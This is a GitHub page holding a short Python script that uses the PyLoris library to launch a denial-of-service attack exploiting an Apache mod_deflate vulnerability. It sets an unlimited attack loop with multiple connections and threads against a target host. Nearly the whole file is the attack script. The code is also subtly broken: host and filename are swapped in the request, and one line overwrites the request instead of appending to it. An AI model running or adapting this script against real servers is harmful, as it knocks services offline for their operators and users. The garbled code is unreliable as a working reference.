forked from AnonymousTools/Pyloris-enhanced
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathscriptloris_deflate.py
executable file
·38 lines (28 loc) · 1.05 KB
/
scriptloris_deflate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#! /usr/bin/env python
"""
scriptloris_defalte.py
A quick script to exploit a mod_deflate DoS vulnerability described on the
[email protected] mailing list.
http://www.mail-archive.com/[email protected]/msg44323.html
"""
host = 'www.example.com'
port = 80
filename = '/large/file.txt'
from libloris import *
def main(host, port, filename):
loris = ScriptLoris()
loris.options['host'] = host
loris.options['port'] = port
loris.options['request'] = 'GET %s HTTP/1.1\r\n' % (host)
loris.options['request'] += 'Host: %s\r\n' % (filename)
loris.options['request'] += 'User-Agent: PyLoris (scriptloris_deflate.py) (http://pyloris.sf.net/)\r\n'
loris.options['request'] = 'Accept-Encoding: gzip\r\n\r\n'
loris.options['attacklimit'] = 0
loris.options['connectionlimit'] = 8
loris.options['threadlimit'] = 2
loris.options['timebetweenthreads'] = 0
loris.options['timebetweenconnections'] = 1
loris.options['quitimmediately'] = True
loris.mainloop()
if __name__ == "__main__":
main(host, port, filename)